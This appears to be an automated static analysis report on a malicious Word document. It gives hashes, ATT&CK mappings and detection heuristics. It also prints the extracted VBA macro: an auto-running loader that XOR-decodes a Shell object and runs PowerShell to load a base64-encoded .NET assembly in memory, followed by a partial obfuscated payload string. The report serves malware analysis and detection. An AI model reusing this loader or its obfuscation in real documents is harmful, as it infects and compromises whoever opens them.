Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f8ef462e7b340fb3…

MALICIOUS

Office (OOXML)

68.5 KB Created: 2018-11-05 09:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 52924bf155803608b04f807726d56d74 SHA-1: f2687578ccb884966553fb6f64446aceb1f08add SHA-256: f8ef462e7b340fb3cb75ff527f6b994355e6eed794d4b2852f5544ccca4c5124
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing an obfuscated VBA macro that executes upon opening. The macro attempts to load and execute a base64 encoded payload, likely a second-stage downloader or implant. The presence of the Document_Open macro and CreateObject calls strongly indicates malicious intent.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7144195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7144195-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 30393 bytes
SHA-256: 82cbc942a2ec244309d89aa6f5c5b98c79d92e28e0bf572c8078193fe0d10db1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_BuildingBlockInsert(ByVal Range As Range, ByVal Name As String, ByVal Category As String, ByVal BlockType As String, ByVal Template As String)

End Sub

Private Sub Document_Close()

End Sub

Private Sub Document_ContentControlAfterAdd(ByVal NewContentControl As ContentControl, ByVal InUndoRedo As Boolean)

End Sub

Private Sub Document_ContentControlOnExit(ByVal ContentControl As ContentControl, Cancel As Boolean)

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Dim Arguments As String
    Arguments = ""
    Arguments = "[Byte[]]$code_ = [System.Convert]::FromBase64String('" + hykoOCzt + "');" + "[Reflection.Assembly]::Load($code_).EntryPoint.Invoke($Null,$Null);"
    Call Load(Arguments)
End Sub
Private Sub Load(Arguments As String)
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    If (33 > 13) Then
    Set objShell = VBA.CreateObject(U0VFzrjFo("1 %&   e  '*8", "fBFTjwwKL"))
    objShell.Run z4RJhjKuX("#* + 1.P(?k 6 biVd", "SErNcBF5D") & Arguments, 0, True
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If
    End If

End Sub
Public Function z4RJhjKuX(ByVal scdNpU6gN As String, ByVal fLiVLN3ny As String) As String
Dim sXN7pJl7E As Long
    For sXN7pJl7E = 1 To Len(scdNpU6gN)
        z4RJhjKuX = z4RJhjKuX & Chr(Asc(Mid(fLiVLN3ny, IIf(sXN7pJl7E Mod Len(fLiVLN3ny) <> 0, sXN7pJl7E Mod Len(fLiVLN3ny), Len(fLiVLN3ny)), 1)) Xor Asc(Mid(scdNpU6gN, sXN7pJl7E, 1)))
    Next sXN7pJl7E
End Function
Public Function U0VFzrjFo(ByVal qdCPQ8BNr As String, ByVal zF5qNTEas As String) As String
Dim phRVFlxsF As Long
    For phRVFlxsF = 1 To Len(qdCPQ8BNr)
        U0VFzrjFo = U0VFzrjFo & Chr(Asc(Mid(zF5qNTEas, IIf(phRVFlxsF Mod Len(zF5qNTEas) <> 0, phRVFlxsF Mod Len(zF5qNTEas), Len(zF5qNTEas)), 1)) Xor Asc(Mid(qdCPQ8BNr, phRVFlxsF, 1)))
    Next phRVFlxsF
End Function
Public Function hykoOCzt() As String
hykoOCzt = "T×V×q×Q×A×A×M×A×A×A×A×E×A×A×A×A×/×/×8×A×A×L×g×A×A×A×A×A×A×A×A×A×Q×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×g×A×A×A×A×A×4×f×u×g×4×A×t×A×n×N×I×b×g×B×T×M×0×h×V×G×h×p×c×y×B×w×c×m×9×n×c×m×F×t×I×G×N×h×b×m×5×v×d×C×B×i×Z×S×B×y×d×W×4×g×a×W×4×g×R×E×9×T×I×G×1×v×Z×G×U×u×D×Q×0×K×J×A×A×A×A×A×A×A×A×A×B×Q×R×Q×A×A×T×A×E×D×A×K×s×N×4×F×s×A×A×A×A×A×A×A×A×A×A×O×A×A×I×g×A×L×A×T×A×A×A×B×A×A×A×A×A×I×A×A×A×A×A×A×A×A×P×i×8×A×A×A×A×g×A×A×A×A×Q×A×A×A×A×A×B×A×A×A×A×g×A×A×A×A×A×g×A×A×B×A×A×A×A×A×A×A×A×A×A×E×A×A×A×A×A×A×A×A×A×A×C×A×A×A×A×A×A×g×A×A×A×A×A×A×A×A×I×A×Q×I×U×A×A×B×A×A×A×B×A×A×A×A×A×A×"
hykoOCzt = hykoOCzt & "E×A×A×A×E×A×A×A×A×A×A×A×A×B×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×O×w×u×A×A×B×P×A×A×A×A×A×E×A×A×A×K×w×F×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×G×A×A×A×A×w×A×A×A×C×0×L×Q×A×A×H×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×I×A×A×A×C×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×C×C×A×A×A×E×g×A×A×A×A×A×A×A×A×A×A×A×A×A×A×C×5×0×Z×X×h×0×A×A×A×A×R×A×8×A×A×A×A×g×A×A×A×A×E×A×A×A×A×A×I×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×C×A×A×A×G×A×u×c×n×N×y×Y×w×A×A×A×K×w×F×A×A×A×A×Q×A×A×A×A×A×Y×A×A×A×A×S×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×B×A×A×A×B×A×L×n×J×l×b×G×9×j×A×A×A×M×A×A×A×A×"
hykoOCzt = hykoOCzt & "A×G×A×A×A×A×A×C×A×A×A×A×G×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×Q×A×A×A×Q×g×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×A×g×L×w×A×A×A×A×A×A×A×E×g×A×A×A×A×C×A×A
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 40448 bytes
SHA-256: 66e626181d1f03a487b635f42c2f2190f8220a83991f06b6990fce89dd378932
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 1332684 bytes
SHA-256: d76515d6fb249bf2b58a921dcedc8050008c10a0e6413be83125817cd4743ed7

Open this report in the interactive analyzer, or submit your own file for analysis.